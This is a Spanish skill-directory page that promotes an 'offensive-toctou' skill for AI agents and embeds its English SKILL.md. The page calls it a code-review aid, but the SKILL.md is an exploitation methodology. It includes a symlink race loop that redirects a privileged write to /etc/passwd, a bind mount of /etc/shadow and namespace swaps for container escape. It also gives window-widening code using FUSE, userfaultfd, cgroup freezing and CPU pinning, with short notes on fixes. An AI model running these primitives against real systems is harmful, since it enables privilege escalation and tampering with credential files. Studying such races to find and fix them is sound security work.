offensive-toctou
Qué hace
Esta skill explica las condiciones de carrera de tipo tiempo de comprobación a tiempo de uso (TOCTOU) en archivos, el kernel, apps web y contenedores. Muestra cómo reconocer el fallo y cómo debe corregirse el código. Es para desarrolladores y profesionales de seguridad que revisan código en busca de fallos de carrera.
Cuándo usarla
- ✓Cuando revisas código que comprueba un archivo o un permiso y actúa sobre él más tarde.
- ✓Cuando sospechas de una condición de carrera en un programa privilegiado o en un flujo de pago web.
- ✓Cuando quieres saber cómo corregir de forma segura un fallo de comprobar y luego usar.
Link de la skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/exploit-dev/offensive-toctou/SKILL.mdCópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.
Cómo usar
La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.
Mensaje listo para pegar
Para Claude Code, Codex o Cursor: ejecútalo en la carpeta del proyecto y la skill queda instalada.
Descarga el SKILL.md y ponlo en la carpeta de skills de tu agente.
Ejemplo de qué pedirle a la IA
“Revisa este código en busca de fallos de tiempo de comprobación a tiempo de uso y muéstrame cómo corregirlos.”
5 skills nuevas por semana. 1 minuto de lectura.
Cómo funciona
La skill identifica la comprobación y el uso posterior, confirma que actúan sobre el mismo objeto subyacente y explica el riesgo. Su corrección principal es actuar sobre el propio archivo u objeto, no sobre su ruta.
Contenido técnico (SKILL.md original)
Texto original del autor, en inglés, directo de GitHub.
TOCTOU — Time-of-Check / Time-of-Use Exploitation
A TOCTOU bug exists wherever code checks a property (file owner, path target, token validity, balance) and then acts on it as if the property still holds. Between check and use is a window — your job is to widen it and swap the underlying object.
Quick Workflow
- Identify the check (syscall, function, validation step) and the use (the privileged action)
- Confirm the check and use don't operate on the same kernel object (FD, inode, atomic snapshot)
- Build a primitive that swaps the object between check and use (symlink, mount, mv, parallel request)
- Widen the window with FUSE, slow filesystems, scheduler tricks, or single-packet HTTP/2
- Run a tight loop and confirm the post-use state corresponds to the swapped target
The Core Pattern
// Vulnerable
if (access(path, W_OK) == 0) { // check — resolves "path" now
fd = open(path, O_WRONLY); // use — re-resolves "path" later
write(fd, attacker_data, n);
}
Between access and open, an attacker replaces path with a symlink to /etc/shadow. The check sees an attacker-owned file; the use opens shadow as root.
The fix is always: operate on the kernel object, not the path. Use O_NOFOLLOW, openat with AT_SYMLINK_NOFOLLOW, fstat on the FD, etc.
Filesystem TOCTOU
Symlink Swap (Classic)
# Setup target — privileged binary that writes to user-supplied path after access() check
victim --output /tmp/.attacker/output
# Race loop
while true; do
ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null
ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null
done &
# Run victim repeatedly
while true; do victim --output /tmp/.attacker/output; done
renameat2(RENAME_EXCHANGE) — Atomic Single-Frame Swap
syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);
RENAME_EXCHANGE swaps two paths atomically — combined with FUSE-paused dir lookups, this is a near-deterministic primitive on Linux ≥ 3.15.
Directory Swap (mv between two prepared trees)
When the victim resolves parent/file, swap parent itself:
mv good_dir parent && mv evil_dir parent_was_good_dir
# If victim is mid-resolution of `parent/file`, dir cache may pin one side
Bind Mount / Mount-Namespace Swap (root-only or in user-ns)
unshare -mUr
mkdir /tmp/x /tmp/y
echo benign > /tmp/x/file
mount --bind /etc/shadow /tmp/y/file
# Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; done
In containerized contexts with CAP_SYS_ADMIN in a user namespace, this is the foundation of multiple runc/CVE escape chains.
Window-Widening Primitives
The race is always winnable in theory; in practice you need the window large enough for your swap.
FUSE-Backed Slow Filesystem
Mount a FUSE filesystem you control. When the victim does open or stat, your handler sleeps:
# fusepy
class SlowFS(Operations):
def getattr(self, path, fh=None):
if path == '/trigger':
time.sleep(5) # stretch the check
return os.lstat(self.root + path).__dict__
Now the check call inside the victim blocks for 5 seconds — plenty of time to swap the post-check filename.
Userfaultfd (kernel-level page faults)
// Register a userfault region; when the victim reads the user-controlled buffer,
// pause it in the page-fault handler, swap data, then resume.
ioctl(uffd, UFFDIO_REGISTER, ®);
userfaultfd can pause a kernel-side copy_from_user mid-read, enabling double-fetch wins. Linux ≥ 5.11 requires vm.unprivileged_userfaultfd=1 (off by default in many distros).
Cgroup Freeze
mkdir /sys/fs/cgroup/race
echo $victim_pid > /sys/fs/cgroup/race/cgroup.procs
echo 1 > /sys/fs/cgroup/race/cgroup.freeze # pause
# swap files
echo 0 > /sys/fs/cgroup/race/cgroup.freeze # resume
Single-CPU Pinning + sched_yield
cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);
sched_setaffinity(victim_pid, sizeof(set), &set);
// Race threads on same CPU — context switch is the only progress unit
Kernel Double-Fetch
A kernel function reads the same userspace location twice; an attacker mutates it in between using userfaultfd or another thread.
// Vulnerable kernel pattern
copy_from_user(&size, &user_arg->size, 4); // first fetch
if (size > MAX) return -EINVAL;
copy_from_user(buf, user_arg->data, size); // size
Preguntas frecuentes
¿Qué es un fallo TOCTOU?
Ocurre cuando el código comprueba algo, por ejemplo el propietario de un archivo, y luego actúa sobre ello después de que la situación ha cambiado.
¿Cuál es la corrección habitual?
La skill recomienda actuar sobre el archivo u objeto abierto en sí, por ejemplo usando indicadores de no seguir enlaces o comprobando el descriptor del archivo.
¿Es solo para código del kernel?
No. Cubre binarios, código del kernel, sistemas de archivos, apps web y contenedores.
Detalles
Descripción original del autor
Time-of-Check / Time-of-Use (TOCTOU) race condition exploitation methodology across binary, kernel, filesystem, web, and container layers. Covers symbolic-link races (open/access/stat split), file-descriptor races, fopen/realpath traversal races, /proc and procfs races, FUSE-backed slow-fs races to widen the window, ptrace and signal races, kernel double-fetch / userspace pointer races, container/runc/symlink escape primitives, kubernetes admission/authz TOCTOU, web auth-vs-authz TOCTOU, JWT-claim TOCTOU at gateway vs service, payment/idempotency races, and modern race-amplification techniques
repo: SnailSploit/Claude-Red
Popularidad
- Estrellas en GitHub
- 10 mil
- Posición en el ranking
- #11955
- Licencia
- MIT
- Actualizada
- 12/10/2026
Comentarios
- …
Más skills de este repositorio
offensive-active-directory
10 milAyuda a tu agente a planificar una prueba de seguridad autorizada de Active Directory, desde mapear la red hasta encontrar rutas de ataque a Domain Admin.
offensive-netexec
10 milAyuda a tu agente a usar la herramienta NetExec (nxc) para pruebas de red autorizadas, cubriendo protocolos, autenticación y comprobaciones de credenciales.
offensive-api-abuse
10 milAyuda a tu agente a planificar pruebas de seguridad de API autorizadas que buscan abusos de la lógica de negocio, riesgos de GraphQL y condiciones de carrera.
offensive-api-security
10 milAyuda a tu agente a realizar pruebas de seguridad autorizadas en APIs REST, gRPC y WebSocket, basadas en el OWASP API Top 10.
Skills parecidas
reverse-engineer-anything
422 milAyuda a tu agente a revisar apps y paquetes ya publicados para explicar sus funciones, comparar versiones o guiar una reconstrucción, usando la herramienta REA.
1password
394 milAyuda a tu agente a instalar la CLI de 1Password, iniciar sesión y leer o inyectar secretos sin imprimir sus valores en el chat.
healthcheck
394 milAyuda a tu agente a auditar el ordenador o servidor que ejecuta OpenClaw en busca de riesgos de seguridad, como SSH, cortafuegos, actualizaciones y copias de seguridad, y después sugerir arreglos seguros.